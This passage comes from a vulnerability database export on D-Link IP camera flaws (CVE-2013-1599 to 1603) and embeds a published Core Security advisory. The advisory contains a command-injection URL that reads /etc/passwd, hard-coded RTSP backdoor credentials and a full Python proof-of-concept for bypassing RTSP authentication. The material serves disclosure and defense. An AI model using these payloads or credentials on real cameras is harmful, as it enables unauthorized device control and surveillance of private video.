{
"db": "BID",
"id": "59564"
},
{
"db": "VULMON",
"id": "CVE-2013-1599"
},
{
"db": "PACKETSTORM",
"id": "121452"
}
],
"trust": 2.61
},
"exploit_availability": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/exploit_availability#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"reference": "https://vulmon.com/exploitdetails?qidtp=exploitdb\u0026qid=25138",
"trust": 0.1,
"type": "exploit"
}
],
"sources": [
{
"db": "VULMON",
"id": "CVE-2013-1599"
}
]
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2013-1599",
"trust": 3.5
},
{
"db": "BID",
"id": "59564",
"trust": 2.6
},
{
"db": "EXPLOIT-DB",
"id": "25138",
"trust": 1.7
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007137",
"trust": 0.8
},
{
"db": "CNVD",
"id": "CNVD-2013-04632",
"trust": 0.6
},
{
"db": "CNNVD",
"id": "CNNVD-201305-030",
"trust": 0.6
},
{
"db": "VULMON",
"id": "CVE-2013-1599",
"trust": 0.1
},
{
"db": "PACKETSTORM",
"id": "121452",
"trust": 0.1
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2013-04632"
},
{
"db": "VULMON",
"id": "CVE-2013-1599"
},
{
"db": "BID",
"id": "59564"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007137"
},
{
"db": "PACKETSTORM",
"id": "121452"
},
{
"db": "CNNVD",
"id": "CNNVD-201305-030"
},
{
"db": "NVD",
"id": "CVE-2013-1599"
}
]
},
"id": "VAR-202001-0839",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "CNVD",
"id": "CNVD-2013-04632"
}
],
"trust": 1.407887033333333
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"IoT",
"Network device"
],
"sub_category": null,
"trust": 0.6
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2013-04632"
}
]
},
"last_update_date": "2024-08-14T14:12:01.581000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "Top\u00a0Page",
"trust": 0.8,
"url": "http://www.dlink.lt/en/"
},
{
"title": "",
"trust": 0.1,
"url": "https://github.com/20142995/Goby "
}
],
"sources": [
{
"db": "VULMON",
"id": "CVE-2013-1599"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007137"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-78",
"trust": 1.0
},
{
"problemtype": "OS Command injection (CWE-78) [NVD Evaluation ]",
"trust": 0.8
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2013-007137"
},
{
"db": "NVD",
"id": "CVE-2013-1599"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 2.6,
"url": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities"
},
{
"trust": 2.3,
"url": "https://seclists.org/fulldisclosure/2013/apr/253"
},
{
"trust": 1.8,
"url": "http://www.securityfocus.com/bid/59564"
},
{
"trust": 1.7,
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83941"
},
{
"trust": 1.7,
"url": "https://packetstormsecurity.com/files/cve/cve-2013-1599"
},
{
"trust": 1.7,
"url": "http://www.exploit-db.com/exploits/25138"
},
{
"trust": 1.5,
"url": "https://nvd.nist.gov/vuln/detail/cve-2013-1599"
},
{
"trust": 0.3,
"url": "http://www.dlink.com/"
},
{
"trust": 0.1,
"url": "https://cwe.mitre.org/data/definitions/78.html"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov"
},
{
"trust": 0.1,
"url": "https://www.exploit-db.com/exploits/25138/"
},
{
"trust": 0.1,
"url": "http://192.168.1.100/md/lums.cgi"
},
{
"trust": 0.1,
"url": "http://www.dlink.com/us/en/home-solutions/view/network-cameras."
},
{
"trust": 0.1,
"url": "http://www.coresecurity.com/files/attachments/core_security_advisories.asc."
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2013-1600"
},
{
"trust": 0.1,
"url": "http://corelabs.coresecurity.com/"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2013-1603"
},
{
"trust": 0.1,
"url": "http://192.168.1.100/cgi-bin/rtpd.cgi?uname\u0026-a;cat\u0026/etc/passwd"
},
{
"trust": 0.1,
"url": "http://www.coresecurity.com."
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2013-1601"
},
{
"trust": 0.1,
"url": "http://corelabs.coresecurity.com/themes/sample_theme/images/coffee-pot.png."
},
{
"trust": 0.1,
"url": "http://creativecommons.org/licenses/by-nc-sa/3.0/us/"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2013-1602"
},
{
"trust": 0.1,
"url": "http://corelabs.coresecurity.com."
},
{
"trust": 0.1,
"url": "http://192.168.1.100/upnp/asf-mp4.asf"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2013-04632"
},
{
"db": "VULMON",
"id": "CVE-2013-1599"
},
{
"db": "BID",
"id": "59564"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007137"
},
{
"db": "PACKETSTORM",
"id": "121452"
},
{
"db": "CNNVD",
"id": "CNNVD-201305-030"
},
{
"db": "NVD",
"id": "CVE-2013-1599"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "CNVD",
"id": "CNVD-2013-04632"
},
{
"db": "VULMON",
"id": "CVE-2013-1599"
},
{
"db": "BID",
"id": "59564"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007137"
},
{
"db": "PACKETSTORM",
"id": "121452"
},
{
"db": "CNNVD",
"id": "CNNVD-201305-030"
},
{
"db": "NVD",
"id": "CVE-2013-1599"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2013-05-03T00:00:00",
"db": "CNVD",
"id": "CNVD-2013-04632"
},
{
"date": "2020-01-28T00:00:00",
"db": "VULMON",
"id": "CVE-2013-1599"
},
{
"date": "2013-04-30T00:00:00",
"db": "BID",
"id": "59564"
},
{
"date": "2020-02-17T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2013-007137"
},
{
"date": "2013-04-29T23:41:50",
"db": "PACKETSTORM",
"id": "121452"
},
{
"date": "2013-04-30T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201305-030"
},
{
"date": "2020-01-28T20:15:11.587000",
"db": "NVD",
"id": "CVE-2013-1599"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2013-05-03T00:00:00",
"db": "CNVD",
"id": "CNVD-2013-04632"
},
{
"date": "2021-04-27T00:00:00",
"db": "VULMON",
"id": "CVE-2013-1599"
},
{
"date": "2013-04-30T00:00:00",
"db": "BID",
"id": "59564"
},
{
"date": "2020-02-17T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2013-007137"
},
{
"date": "2020-02-19T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201305-030"
},
{
"date": "2021-04-27T19:52:08.780000",
"db": "NVD",
"id": "CVE-2013-1599"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201305-030"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "plural \u00a0D-Link\u00a0IP\u00a0Camera\u00a0 In products \u00a0OS\u00a0 Command injection vulnerability",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2013-007137"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "operating system commend injection",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201305-030"
}
],
"trust": 0.6
}
}
var-202001-0843
Vulnerability from variot
An Authentication vulnerability exists in D-LINK WCS-1100 1.02, TESCO DCS-2121 1.05_TESCO, TESCO DCS-2102 1.05_TESCO, DCS-7510 1.00, DCS-7410 1.00, DCS-6410 1.00, DCS-5635 1.01, DCS-5605 1.01, DCS-5230L 1.02, DCS-5230 1.02, DCS-3430 1.02, DCS-3411 1.02, DCS-3410 1.02, DCS-2121 1.06_FR, DCS-2121 1.06, DCS-2121 1.05_RU, DCS-2102 1.06_FR, DCS-2102 1.06, DCS-2102 1.05_RU, DCS-1130L 1.04, DCS-1130 1.04_US, DCS-1130 1.03, DCS-1100L 1.04, DCS-1100 1.04_US, and DCS-1100 1.03 due to hard-coded credentials that serve as a backdoor, which allows remote attackers to access the RTSP video stream. plural D-Link The product contains a vulnerability involving the use of hard-coded credentials.Information may be obtained. There are security vulnerabilities in multiple D-Link webcam products. The account username is arbitrary and the password is \"?\". Remote attackers can exploit this issue to bypass the authentication mechanism and gain unauthorized access. http://drupal.org/node/207891. Advisory Information*
Title: D-Link IP Cameras Multiple Vulnerabilities Advisory ID: CORE-2013-0303 Advisory URL: http://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities Date published: 2013-04-29 Date of last update: 2013-03-29 Vendors contacted: D-Link Corporation Release mode: Coordinated release
- Vulnerability Information
Class: OS command injection [CWE-78], Authentication issues [CWE-287], Information leak through GET request [CWE-598], Authentication issues [CWE-287], Use of hard-coded credentials [CWE-798] Impact: Code execution, Security bypass Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-1599, CVE-2013-1600, CVE-2013-1601, CVE-2013-1602, CVE-2013-1603
- Vulnerability Description
Multiple vulnerabilities have been found in D-Link IP cameras [1] that could allow an unauthenticated remote attacker:
- [CVE-2013-1599] to execute arbitrary commands from the administration web interface,
- [CVE-2013-1600] to access the video stream via HTTP,
- [CVE-2013-1601] to access the ASCII video stream via image luminance,
- [CVE-2013-1602] to access the video stream via RTSP,
-
[CVE-2013-1603] to bypass RTSP authentication using hard-coded credentials.
-
Vulnerable Packages
The following is the list of affected devices and the associated firmware (confirmed by D-Link). Other SKUs are probably affected too, but they were not checked.
[CVE-2013-1599] . DCS-3411/3430 - firmware v1.02 . DCS-5605/5635 - v1.01 . DCS-1100L/1130L - v1.04 . DCS-1100/1130 - v1.03 . DCS-1100/1130 - v1.04_US . DCS-2102/2121 - v1.05_RU . DCS-3410 - v1.02 . DCS-5230 - v1.02 . DCS-5230L - v1.02 . DCS-6410 - v1.00 . DCS-7410 - v1.00 . DCS-7510 - v1.00 . WCS-1100 - v1.02
[CVE-2013-1600] . DCS-2102/2121 - v1.05_RU . DCS-2102/2121 - v1.06 . DCS-2102/2121 - v1.06_FR . TESCO DCS-2102/2121 - v1.05_TESCO
[CVE-2013-1601] and [CVE-2013-1603] . DCS-3411/3430 - v1.02 . DCS-5605/5635 - v1.01 . DCS-1100L/1130L - v1.04 . DCS-1100/1130 - v1.03 . DCS-1100/1130 - v1.04_US . DCS-2102/2121 - v1.05_RU . DCS-2102/2121 - v1.06 . DCS-2102/2121 - v1.06_FR . TESCO DCS-2102/2121 - v1.05_TESCO . DCS-3410 - v1.02 . DCS-5230 - v1.02 . DCS-5230L - v1.02 . DCS-6410 - v1.00 . DCS-7410 - v1.00 . DCS-7510 - v1.00 . WCS-1100 - v1.02
[CVE-2013-1602] . ALL mentioned devices and firmware.
- Vendor Information, Solutions and Workarounds
D-Link announces that all patches are ready and scheduled for posting on corporate web site for all customers [2013-04-25]. Contact D-Link for further information.
- Credits
[CVE-2013-1599], [CVE-2013-1600] and [CVE-2013-1601] were discovered and researched by Francisco Falcon and Nahuel Riva from Core Exploit Writers Team.
[CVE-2013-1602] was discovered and researched by Martin Rocha from Core Impact Pro Team. The PoC was made by Martin Rocha with help of Juan Cotta from Core QA Team.
[CVE-2013-1603] was discovered and researched by Pablo Santamaria from Core Security Consulting Services.
The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team.
- Technical Description / Proof of Concept Code
7.1. OS Command Injection
[CVE-2013-1599] A security issue located in '/var/www/cgi-bin/rtpd.cgi' allows an unauthenticated remote attacker to execute arbitrary commands through the camera's web interface. The OS command injection is due to this code in 'rtpd.cgi':
/----- echo "$QUERY_STRING" | grep -vq ' ' || die "query string cannot contain spaces." . $conf > /dev/null 2> /dev/null eval "$(echo $QUERY_STRING | sed -e 's/&/ /g')"
-----/ The first line of this snippet basically ensures that there are no spaces in '$QUERY_STRING'. The last line uses 'sed' to replace ampersands '&' with spaces, and then call to the function 'eval()', resulting in a typical command injection. For example, in order to execute:
/----- uname -a;cat /etc/passwd -----/ the following request can be sent to the camera web interface:
/----- http://192.168.1.100/cgi-bin/rtpd.cgi?uname&-a;cat&/etc/passwd -----/
7.2. ASCII Video Stream Information Leak
[CVE-2013-1601] An ASCII output (the image luminance) of the live video stream can be accessed by a remote unauthenticated attacker via:
/----- http://192.168.1.100/md/lums.cgi -----/ The following example is the output of a coffee pot video stream [2]:
/-----
O O O O O O O O O O O O O O O O O O O O O O O O O O o o o o o o o o o o o o
O O O O O O O O O O O O O O O O O O O O o o o O O O o o o o o o o o o o o o
O O O O O O O O O O O O O O O O O O . o O O o o o o o o o o o o o
O O O O O O O O O O O O o o O O o . o o o o o o o o o o o o o o
O O O O O O O O O O O O o o o o . o o o o o o o
O O O O O O O O O O o . o O O o . o o o o o o
O O O O O O O O O . o o o o o o
O O O O O O O O . o o o o o o o o
O O O O O O O . o O O o . o o o o o o o o o
O O O O O O o . O O O O O O . o o o o o o o o o
O O O O O O . O O O O O O O . o o o o o o o o o
O O O O O O o O O O O O O O . o . o o o o o o o o
O O O O O O o O O O O O O O . o o o . o o o o o o o o
O O O O O O o O O O O O O o . o O O o O O . o o o o o o o
O O O O O O . o O O O O O O o . O O O o O O . o o o o o o
O O O O O O . O O O O O o . O O o o O O o . o o o o o o
O O O O O O o O O O O O o . o O O o o O O o . o o o o o
O O O O O O O O O O O O . o O O o o O O o . o o o o o
O O O O O O O . o O O O o . o o o O o o O O o . o o o o
O O O O O O O o . O O O o . o o o O o o O O o . o o o o
O O O O O O O O . O O O . o o o O o o O O o . o o o o
O O O O O O O O O O O . o o o O o o O O o . o o o
O O O O O O O O o o O o o o o o O o o o O o . o o o
O O O O O O O O O . O o o o o o O o . o O o . o o
O O O O O O O O O . O o . o o o o O . o O o . o
O O O O O O O O O o o . o o o o o . o O o . o
O O O O O O O O O O . o o o . o . o O o .
o O O O O O O O O O . o o o . o . O o .
o o O O O O O O O O o . o o o . o . O o .
o o o O O O O O O O o . o o o . o . O o .
-----/
7.4. RTSP Authentication Bypass
[CVE-2013-1602] This vulnerability is triggered because:
- Authentication is only present in DESCRIBE requests but not in every subsequent request.
- When the RTSP session is being established, the authentication request of current session is ignored (a previously stored response is used instead). As a result, the video stream can be accessed by an unauthenticated remote attacker.
/----- import sys from socket import * from threading import Thread import time, re
LOGGING = 1
def log(s): if LOGGING: print '(%s) %s' % (time.ctime(), s)
class UDPRequestHandler(Thread): def init(self, data_to_send, recv_addr, dst_addr): Thread.init(self) self.data_to_send = data_to_send self.recv_addr = recv_addr self.dst_addr = dst_addr
def run(self):
sender = socket(AF_INET, SOCK_DGRAM)
sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
sender.sendto(self.data_to_send, self.dst_addr)
response = sender.recv(1024)
sender.sendto(response, self.recv_addr)
sender.close()
class UDPDispatcher(Thread): dispatchers = []
def __has_dispatcher_for(self, port):
return any([d.src_port == port for d in UDPDispatcher.dispatchers])
def __init__(self, src_port, dst_addr):
Thread.__init__(self)
if self.__has_dispatcher_for(src_port):
raise Exception('There is already a dispatcher for port %d'
% src_port) self.src_port = src_port self.dst_addr = dst_addr UDPDispatcher.dispatchers.append(self)
def run(self):
listener = socket(AF_INET, SOCK_DGRAM)
listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
listener.bind(('', self.src_port))
while 1:
try:
data, recv_addr = listener.recvfrom(1024)
if not data: break
UDPRequestHandler(data, recv_addr, self.dst_addr).start()
except Exception as e:
print e
break
listener.close()
UDPDispatcher.dispatchers.remove( self )
class PipeThread(Thread): pipes = [] def init(self, source, sink, process_data_callback=lambda x: x): Thread.init(self) self.source = source self.sink = sink self.process_data_callback = process_data_callback PipeThread.pipes.append(self)
def run(self):
while 1:
try:
data = self.source.recv(1024)
data = self.process_data_callback(data)
if not data: break
self.sink.send( data )
except Exception as e:
log(e)
break
PipeThread.pipes.remove(self)
class TCPTunnel(Thread): def init(self, src_port, dst_addr, process_data_callback=lambda x: x): Thread.init(self) log('[*] Redirecting: localhost:%s -> %s:%s' % (src_port, dst_addr[0], dst_addr[1])) self.dst_addr = dst_addr self.process_data_callback = process_data_callback # Create TCP listener socket self.sock = socket(AF_INET, SOCK_STREAM) self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) self.sock.bind(('', src_port)) self.sock.listen(5)
def run(self):
while 1:
# Wait until a new connection arises
newsock, address = self.sock.accept()
# Create forwarder socket
fwd = socket(AF_INET, SOCK_STREAM)
fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
fwd.connect(self.dst_addr)
# Pipe them!
PipeThread(newsock, fwd, self.process_data_callback).start()
PipeThread(fwd, newsock, self.process_data_callback).start()
class Camera(): def init(self, address): self.address = address def get_describe_data(self): return ''
class DLink(Camera): # D-Link DCS-2102/1.06-5731 def init(self, address): Camera.init(self, address) def get_describe_data(self): return '\x76\x3d\x30\x0d\x0a\x6f\x3d\x43\x56\x2d\x52\x54\x53\x50\x48\x61\x6e\x64\x6c\x65\x72\x20\x31\x31\x32\x33\x34\x31\x32\x20\x30\x20\x49\x4e\x20\x49\x50\x34\x20\x31\x39\x32\x2e\x31\x36\x38\x2e\x32\x2e\x31\x31\x0d\x0a\x73\x3d\x44\x43\x53\x2d\x32\x31\x30\x32\x0d\x0a\x63\x3d\x49\x4e\x20\x49\x50\x34\x20\x30\x2e\x30\x2e\x30\x2e\x30\x0d\x0a\x74\x3d\x30\x20\x30\x0d\x0a\x61\x3d\x63\x68\x61\x72\x73\x65\x74\x3a\x53\x68\x69\x66\x74\x5f\x4a\x49\x53\x0d\x0a\x61\x3d\x72\x61\x6e\x67\x65\x3a\x6e\x70\x74\x3d\x6e\x6f\x77\x2d\x0d\x0a\x61\x3d\x63\x6f\x6e\x74\x72\x6f\x6c\x3a\x2a\x0d\x0a\x61\x3d\x65\x74\x61\x67\x3a\x31\x32\x33\x34\x35\x36\x37\x38\x39\x30\x0d\x0a\x6d\x3d\x76\x69\x64\x65\x6f\x20\x30\x20\x52\x54\x50\x2f\x41\x56\x50\x20\x39\x36\x0d\x0a\x62\x3d\x41\x53\x3a\x31\x38\x0d\x0a\x61\x3d\x72\x74\x70\x6d\x61\x70\x3a\x39\x36\x20\x4d\x50\x34\x56\x2d\x45\x53\x2f\x39\x30\x30\x30\x30\x0d\x0a\x61\x3d\x63\x6f\x6e\x74\x72\x6f\x6c\x3a\x74\x72\x61\x63\x6b\x49\x44\x3d\x31\x0d\x0a\x61\x3d\x66\x6d\x74\x70\x3a\x39\x36\x20\x70\x72\x6f\x66\x69\x6c\x65\x2d\x6c\x65\x76\x65\x6c\x2d\x69\x64\x3d\x31\x3b\x63\x6f\x6e\x66\x69\x67\x3d\x30\x30\x30\x30\x30\x31\x42\x30\x30\x31\x30\x30\x30\x30\x30\x31\x42\x35\x30\x39\x30\x30\x30\x30\x30\x31\x30\x30\x30\x30\x30\x30\x30\x31\x32\x30\x30\x30\x43\x34\x38\x38\x42\x41\x39\x38\x35\x31\x34\x30\x34\x33\x43\x31\x34\x34\x33\x46\x3b\x64\x65\x63\x6f\x64\x65\x5f\x62\x75\x66\x3d\x37\x36\x38\x30\x30\x0d\x0a\x61\x3d\x73\x65\x6e\x64\x6f\x6e\x6c\x79\x0d\x0a\x6d\x3d\x61\x75\x64\x69\x6f\x20\x30\x20\x52\x54\x50\x2f\x41\x56\x50\x20\x30\x0d\x0a\x61\x3d\x72\x74\x70\x6d\x61\x70\x3a\x30\x20\x50\x43\x4d\x55\x2f\x38\x30\x30\x30\x0d\x0a\x61\x3d\x63\x6f\x6e\x74\x72\x6f\x6c\x3a\x74\x72\x61\x63\x6b\x49\x44\x3d\x32\x0d\x0a\x61\x3d\x73\x65\x6e\x64\x6f\x6e\x6c\x79\x0d\x0a'
class RTSPAuthByPasser(): DESCRIBE_REQ_HEADER = 'DESCRIBE rtsp://' UNAUTHORIZED_RESPONSE = 'RTSP/1.0 401 Unauthorized' SERVER_PORT_ARGUMENTS = 'server_port=' DEFAULT_CSEQ = 1 DEFAULT_SERVER_PORT_RANGE = '5556-5559'
def __init__(self, local_port, camera):
self.last_describe_req = ''
self.camera = camera
self.local_port = local_port
def start(self):
log('[!] Starting bypasser')
TCPTunnel(self.local_port, self.camera.address,
self.spoof_rtsp_conn).start()
def spoof_rtsp_conn(self, data):
if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data:
self.last_describe_req = data
elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and
self.last_describe_req:
log('[!] Unauthorized response received. Spoofing...')
spoofed_describe = self.camera.get_describe_data()
# Look for the request CSeq
m = re.search('.CSeq:\s(\d+?)\r\n.',
self.last_describe_req)
cseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ
# Create the response
data = 'RTSP/1.0 200 OK\r\n'
data+= 'CSeq: %s\r\n' % cseq
data+= 'Content-Type: application/sdp\r\n'
data+= 'Content-Length: %d\r\n' % len(spoofed_describe)
data+= '\r\n'
# Attach the spoofed describe
data+= spoofed_describe
elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data:
# Look for the server RTP ports
m = re.search('.%s\s(.+?)[;|\r].' %
RTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data)
ports = m.group(1) if m else
RTSPAuthByPasser.DEFAULT_SERVER_PORT_RANGE
# For each port in the range create a UDP dispatcher
begin_port, end_port = map(int, ports.split('-'))
for udp_port in xrange(begin_port, end_port + 1):
try:
UDPDispatcher(udp_port, (self.camera.address[0],
udp_port)).start()
except:
pass
return data
if name == 'main':
if len( sys.argv ) > 1:
listener_port = camera_port = int(sys.argv[1])
camera_ip = sys.argv[2]
if len(sys.argv) == 4:
camera_port = int(sys.argv[3])
RTSPAuthByPasser(listener_port, DLink((camera_ip,
camera_port))).start()
else:
print 'usage: python %s [local_port] [camera_ip]
[camera_rtsp_port]'
-----/
7.5.
/-----
username: (any)
password: ?*
-----/
As we can see in the following dump, the submitted password is compared with the string ':?*' (the character ':' is used for concatenation of 'username:password'). This code belongs to the binary 'rtspd':
/----- .text:00011468 loc_11468 ; Load from Memory .text:00011468 LDR R3, [R11,#s2] .text:0001146C STR R3, [R11,#var_C0] ; Store to Memory .text:00011470 LDR R2, [R11,#var_C0] ; Load from Memory .text:00011474 LDR R3, [R11,#var_BC] ; Load from Memory .text:00011478 ADD R3, R2, R3 ; Rd = Op1 + Op2 .text:0001147C SUB R3, R3, #3 ; Rd = Op1 - Op2 .text:00011480 STR R3, [R11,#var_C0] ; Store to Memory .text:00011484 LDR R0, [R11,#var_C0] ; s1 .text:00011488 LDR R1, =asc_1B060 ; ":?*" <------- .text:0001148C MOV R2, #3 ; n .text:00011490 BL strncmp ; Branch with Link .text:00011494 MOV R3, R0 ; Rd = Op2 .text:00011498 CMP R3, #0 ; Set cond. codes on Op1 - Op2 .text:0001149C BNE loc_114BC ; Branch -----/
-
Report Timeline . 2013-03-19: Core Security Technologies notifies the D-Link team of the vulnerability. 2013-03-20: D-Link team asks for a technical description of the vulnerability. 2013-03-20: Core sends a draft advisory with technical details and set the estimated publication date of the advisory for May 14th, 2013. 2013-03-20: Vendor notifies that D-Link Corporation has an unpublished bounty program for security advisors. The bounty program requires both Core Security and D-Link to sign a memo of understanding (MoU). 2013-03-25: Core notifies that receiving money from vendors may bias the view of the report and rejects the bounty program. 2013-03-29: Vendor notifies that they hope to close the fix ASAP. 2013-04-08: Vendor sends the list of vulnerable devices and the associated firmware and notifies that they will release patches and release notes on the D-Link support forum first. Then, an official public release will be announced (approx. 1 month from forum post to full release). 2013-04-24: Core asks for a clarification regarding the D-Link release date and notifies that releasing fixes to a privileged closed group and/or a closed forum or list is unacceptable. 2013-04-25: Vendor notifies that the patches are ready and scheduled for posting on D-Link web site over the next few days. 2013-04-26: Core notifies that the advisory is re-scheduled for Monday 29th. 2013-04-29: Advisory CORE-2013-0303 published.
-
References
[1] http://www.dlink.com/us/en/home-solutions/view/network-cameras. [2] http://corelabs.coresecurity.com/themes/sample_theme/images/coffee-pot.png.
- About CoreLabs
CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com.
- About Core Security Technologies
Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations.
Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com.
- Disclaimer
The contents of this advisory are copyright (c) 2013 Core Security Technologies and (c) 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/
- PGP/GPG Keys
This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-202001-0843",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "dcs-5230",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.02"
},
{
"model": "dcs-5635",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.01"
},
{
"model": "dcs-2102",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.05"
},
{
"model": "dcs-3411",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.02"
},
{
"model": "dcs-3430",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.02"
},
